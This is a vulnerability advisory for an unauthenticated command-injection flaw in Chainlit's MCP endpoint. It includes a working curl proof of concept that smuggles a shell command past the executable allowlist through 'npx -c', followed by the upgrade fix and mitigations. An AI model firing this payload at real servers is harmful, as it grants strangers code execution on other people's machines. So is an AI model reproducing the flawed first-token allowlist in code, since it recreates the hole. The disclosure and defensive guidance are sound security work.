CVE-2026-45018: Chainlit Unauthenticated Remote Code Execution via MCP stdio Command Injection
When Chainlit's MCP feature is enabled, any unauthenticated user can send a crafted command string to the /mcp endpoint that bypasses the executable allowlist and runs arbitrary shell commands on the…

The problem
The POST /mcp endpoint accepts a client-supplied fullCommand string for stdio transport. validate_mcp_command() parses the string with shlex.split() and checks only the executable name against a configurable allowlist, leaving all arguments unchecked.
The validated command and its unchecked arguments are passed directly to StdioServerParameters, which spawns a real subprocess. Because npx supports -c for arbitrary shell execution, an attacker can smuggle any command through the allowlist check. No authentication is required: /mcp is reachable by any client that can open a Socket.IO session.
Proof of concept
A working proof-of-concept for CVE-2026-45018 in chainlit, with the exact payload below.
# Step 1: open a Socket.IO session to get a valid sessionId
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'
# Step 2: inject arbitrary command via fullCommand
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "rce-proof",
"clientType": "stdio",
"name": "poc",
"fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
}'
# The server executes the command before the MCP handshake fails.
# /tmp/rce_proof will contain the output of id.The root cause is an incomplete input validation pattern (CWE-78). The allowlist check gates only the first token of the command string, so any allowlisted binary that supports shell execution flags (npx -c, uvx --, etc.) becomes a direct injection vector.
A second, compounding issue: allowed_executables defaults to None in the Pydantic model, and the validation logic treats None as "allow everything." A developer who omits the setting entirely disables even the partial protection.
The 2.12.0 fix eliminates the vulnerability by removing fullCommand from the client request model entirely. stdio servers are now declared by the developer in config.toml under [[features.mcp.servers]] and selected by name at connection time. The command never crosses the trust boundary from client to server, so there is nothing left to sanitize.
The fix
Upgrade to **chainlit 2.12.0**. The fullCommand field is removed from the /mcp request; server commands are now developer-declared in .chainlit/config.toml under [[features.mcp.servers]] and selected by name only.
If you cannot upgrade immediately: set features.mcp.enabled = false in .chainlit/config.toml to fully block the attack path. Alternatively, configure an auth callback so that /mcp requires an authenticated session (this removes the unauthenticated attack path but does not fix the underlying injection).
Note: 2.12.0 is a breaking change for MCP configuration. The old [features.mcp.stdio], [features.mcp.sse], and allowed_executables settings are removed. Review CHANGELOG.md before upgrading.
Reported by Vipin (SPL / SecureLayer7).
Related research
- high · 7.2CVE-2026-45019CVE-2026-45019: Chainlit SSRF via MCP SSE and Streamable-HTTP Transports
- highMONAI nnUNetV2Runner OS Command Injection via dataset_name_or_id
- highCVE-2026-68519CVE-2026-68519: Glances --disable-config-exec Bypass via On-Alert Action OS Command Injection
- highCVE-2026-68518CVE-2026-68518: glances Action-Template Sanitizer Bypass via Cross-Field Shell-Operator Reconstruction